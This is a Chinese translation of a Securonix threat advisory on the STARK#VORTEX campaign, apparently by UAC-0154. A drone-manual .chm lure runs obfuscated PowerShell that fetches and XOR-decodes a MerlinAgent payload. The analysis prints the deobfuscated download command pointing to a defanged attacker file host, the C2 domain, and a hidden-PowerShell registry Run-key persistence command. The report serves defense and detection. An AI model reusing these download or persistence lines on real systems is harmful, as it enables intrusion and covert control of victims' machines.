TLDR:
Securonix 威胁研究最近发现,一场攻击活动似乎源自威胁组织 UAC-0154,其目标是使用指挥员 (PIC) 无人机手动文档诱饵来传播恶意软件。
随着俄罗斯和乌克兰之间的战争愈演愈烈,两国之间的网络战格局也没有任何放缓的迹象。随着冲突进入一年半的时间,新的策略和恶意软件变种不断出现。
我们的团队发现了一个有趣的活动(由 Securonix 跟踪为 STARK#VORTEX),该活动正在积极针对乌克兰军方。由于无人机或无人驾驶飞行器 (UAV) 已成为乌克兰军方使用的不可或缺的工具,因此以无人机服务手册为主题的包含恶意软件的诱饵文件已开始出现。
上个月,通过电子邮件向乌克兰目标 (@ukr.net) 发送的军事主题文档识别了标识符UAC-0154跟踪的威胁组织。如今,该组织的策略以及用 MerlinAgent 恶意软件感染受害者的一些方法似乎已经发生了变化。
攻击链概述
诱饵文件将自身呈现为Microsoft 帮助文件或 .chm 文件。本案中的文件名为“Інфо про навчання по БПЛА для військових.v2.2.chm”,翻译过来就是“军队无人机训练信息”。Microsoft 帮助文件是一种典型的文件格式,用于提供应用程序支持、指南和参考。一旦用户通过嵌入 HTML 页面之一的恶意 JavaScript 代码块打开文档,代码就会开始执行。
然后,从 .chm 文件中的 JavaScript 代码执行混淆的 PowerShell 代码,该文件用于联系远程 C2 服务器以下载混淆的二进制有效负载。
有效负载是一个模糊的二进制文件,经过异或和解码以生成 MerlinAgent 恶意软件的信标有效负载。一旦有效负载建立与其 C2 服务器的通信,攻击者就可以完全控制受害主机。
虽然攻击链非常简单,但攻击者利用了一些相当复杂的 TTP 和混淆方法来逃避检测。我们将进一步详细介绍每个阶段。
初始代码执行
恶意 .chm 文件被故意武器化,以在受害者计算机上执行 PowerShell 单行代码。Microsoft 帮助文件过去曾被恶意使用,但如今由于 Microsoft 于 2007 年停止支持 .chm 文件格式,它们已不再常见。不过,它们可以在现代 Windows 版本中打开和执行。
帮助文件(例如 STARK#VORTEX 活动中使用的诱饵文档)将使用 Windows 二进制文件 hh.exe 执行,当用户运行 .chm 文件时,该文件会自动启动。
从下图中可以看出,帮助文件可以毫无困难地逃避防病毒和 EDR 检测,因为它在 VirusTotal 中的检测得分为 0/59。
图 1:Інфо про навчання по БПЛА для військових.v2.2.chm 的 VirusTotal 检测结果
通过 .chm 文件执行代码是一项众所周知的技术,并且有多种在线工具可用于构建该技术。它的工作原理是传递特殊的 HTML 参数,这些参数可以调用子进程,例如 cmd.exe 或 powershell.exe,以及命令行参数。
正如我们之前提到的,诱饵文件的主题是无人机或无人机手册。检查其内容,我们看到用乌克兰语编写的 DJI Mavic 3 无人机的说明。
图 2:Інфо про навчання по БПЛА для військових.v2.2.chm 的诱饵文档内容
帮助文件和 JavaScript 执行 [T1059.007]
由于Microsoft帮助文件本质上是容器文件,因此可以使用7zip等文件归档软件打开和分析它们。以 Інфо про навчання по БПЛА для військових.v2.2.chm 为例,我们可以看到其中包含的几个 HTML 文件。
图 3:Інфо про навчання по БПЛА для військових.v2.2.chm 的内容
检查 page1.html 的内容后,我们发现在标记内嵌入了一个巨大的 JavaScript 单行代码。它的内容被严重混淆,但是我们观察到它执行另一个混淆的 PowerShell 脚本,我们接下来将深入讨论该脚本。
图 4:page1.html 中发现的混淆 JavaScript 代码示例
PowerShell 执行 [T1059.001]
.chm 文件执行 cmd.exe 以及“/c start /min”命令来调用在隐藏窗口内执行的 PowerShell 进程。为了逃避检测,PowerShell 代码被严重混淆。一些混淆方法包括 Base64 编码、GZIP 压缩和字符值替换。
图 5:第 1 阶段,由 Інфо про навчання по БПЛА для військових.v2.2.chm 执行的混淆后的 PowerShell
对 Base64 编码的 blob 进行反混淆后,我们发现了更多混淆的 PowerShell 代码。这次,一些关键信息(例如 C2 URL 和负载名称)变得可见。如下图所示。
接下来,我们将清理此代码并详细检查它,以更好地理解其用途。
图 6:第 2 阶段,由 Інфо про навчання по БПЛА для військових.v2.2.chm 执行的混淆后的 PowerShell
由于 PowerShell 代码更易于理解,所以它在做什么就非常清楚了。一般来说,该脚本从hxxps://files.catbox[.]moe/g1h7zr.bin下载有效负载,对其进行解码和解密,并将其保存到本地 Appdata 文件夹中的SysctlHostctlhost.exe。
图 7:反混淆的 PowerShell 分析 — 文件下载、目录设置
脚本的第一部分建立了一些变量,例如 C2 URL ( $plUrl )、二进制路径 ( $plPathSuffix )、解密密钥 ( $cryptPS ) 和 XOR 掩码大小值 ( $xorMaskSize )。大部分代码存储在doS函数内,该函数在脚本末尾调用。
接下来该脚本执行关键功能:
1、构造目标路径。
2、检查定义的路径中是否已存在可执行文件,如果存在则返回 -1。
3、确保存在必要的目录,并在需要时创建它。
4、检查目录创建是否成功,如果失败则返回-2。
然后该脚本从 C2 服务器下载该文件。正如您所看到的,该命令经过严重混淆,但是对 PowerShell 代码进行反混淆后会生成以下下载命令:
[System.Net.WebClient]::new().DownloadFile('hxxps://files.catbox[.]moe/g1h7zr.bin', ”)
然后使用调用表达式 (IEX) 执行该命令。
在脚本的更下方,我们发现了一些有趣的二进制文件操作代码块,如下图 8 所示:
图 8:反混淆的 PowerShell — 二进制文件解码
简而言之,使用脚本开头提供的值对下载的二进制文件进行解码和重命名,如图 7 所示。
计算哈希值并填充 XOR 掩码
1、SHA-256 哈希器已初始化。
2、输入字符串$cryptPS经过哈希处理以生成数组$sha。
3、然后使用该哈希值填充$xorMask数组。如果掩码需要的字节数多于初始哈希提供的字节数,则以链式方式使用前一个哈希的哈希值,直到掩码完全填满。
使用 XOR 掩码进行文件转换:
文件流打开:
$f1从路径$p处的现有文件读取。
( $envAppDatasysctlHostctlhost.exe )
$f2写入一个与$p同名但扩展名为.tmp的新临时文件
使用缓冲区 $b 以最多 4096 字节的块处理路径$p处的文件。
对于每个块:
字节从$f1读入缓冲区。
缓冲区中的每个字节都与$xorMask中的相应字节进行异或。
然后使用$f2将转换后的字节写入临时文件。
此过程一直持续到整个文件被读取并转换为止。
注意:外部 while($false) 很奇怪,因为它使整个后续代码块无效。这可能是攻击者犯下的错误,也可能充当需要其特定功能的其他二进制文件的占位符。
将文件解码为变量后,脚本的下一部分在利用并删除临时文件后将其保存在原始文件上。
图 9:第 3 阶段,反混淆后的 PowerShell
最后一段代码获取先前下载的、加密和压缩的扩展名为 .tmp 的文件,解压缩其内容,将解压缩的内容写回原始文件,删除 .tmp 文件。然后,脚本的最后部分以几种不同的方式执行原始文件。
PowerShell 脚本在编写时似乎考虑了多个选项和配置,因此我们前面提到了$false while 语句。此外,还存在可选的二进制文件参数,在本例中将其设置为“null”。
二进制文件分析
下载的 Windows 二进制文件是一个 64 位可执行文件,大小约为 5MB。一些额外的二进制信息在下面的图 10 中突出显示。
图 10:ctlhost.exe — 二进制文件概述
经过仔细检查,它似乎是 MerlinAgent 框架生成的二进制可执行文件。与 Cobalt Strike 和 Silver 类似,MerlinAgent 是 Github 上提供的开源命令和控制框架。
MerlinAgent 框架是一个用 Go 编写的开源 C2 框架。它的功能类似于 Cobalt Strike 或 Sliver,其中可以设置一个服务器实例来构建自己的二进制有效负载。然后,攻击者可以分发这些有效负载并将其合并到自己的恶意软件阶段或加载程序中。MerlinAgent 具有广泛的功能,其中包括:
使用 TLS 的加密 C2 通信
远程命令外壳
模块支持(例如Mimikatz)
对 exe 或 dll 客户端的二进制支持
代理本身支持多种命令标志,蓝队防守者可以在其中寻找:
从历史上看, UAC-0154过去曾使用 MerlinAgent针对乌克兰官员,并且许多 TTP 与过去的活动一致。
执行后,MerlinAgent 负载将立即开始向listen.servemp3[.]com 发送信标。它还通过在“ HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionRun”中创建一个名为“ ctlhost ”的新项来在注册表中建立持久性,其内容为“cmd.exe /c start /min %windir%system32WindowsPowerShell” v1.0powershell.exe -command Start-Process -filepath “C:Users[已编辑]AppdataRoamingsysctlHostctlhost.exe” -WindowStyle Hidden ”。每次用户登录系统时都会执行二进制文件。
一旦该进程与攻击者的C2服务器建立连接,攻击者将完全控制系统。
Wrapping up…
考虑到该文件的语言及其针对性,显然这次攻击是高度针对乌克兰军方的。
攻击链中使用的文件和文档非常有能力绕过防御,对恶意 .chm 文件的检测得分为 0。通常,通过 Internet 接收 Microsoft 帮助文件会被视为异常。然而,攻击者将诱饵文档设计成毫无戒心的受害者可能期望出现在帮助主题文档或文件中的内容。
C2 和基础设施
在 STARK#VORTEX 活动期间,我们观察到与 C2 主机的以下网络通信。从 MerlinAgent 有效负载到攻击者的 C2 服务器的命令和控制使用端口 443 上的加密通道。请求相关详细信息将在下面的附录 A 中提供。
Securonix 建议和缓解措施
从私人消息的帖子中下载文件附件时请务必格外小心。在预防和检测方面,Securonix 威胁研究团队建议:
避免从不受信任的来源下载文件或附件,尤其是未经请求的来源
监控常见的恶意软件暂存目录,特别是“C:ProgramData”和其他临时位置,例如此攻击活动中使用的用户本地 appdata 文件夹
部署额外的进程级日志记录,例如Sysmon和PowerShell 日志记录,以实现额外的日志检测覆盖范围
Securonix 客户可以使用下面的 Securonix Seeder Hunting 查询扫描端点
MITRE ATT&CK 矩阵
分析文件哈希值
相关 Securonix 临时检测的一些示例
EDR-ALL-1032-RU
EDR-ALL-1215-ERR、WEL-ALL-1186-ERR
EDR-ALL-138-ERR
PSH-ALL-228-RU
PSH-ALL-316-RU
转载来源:https://www.securonix.com/blog/threat-labs-security-advisory-new-starkvortex-attack-campaign-threat-actors-use-drone-manual-lures-to-deliver-merlinagent-payloads/
图片来源网络侵权可联系删除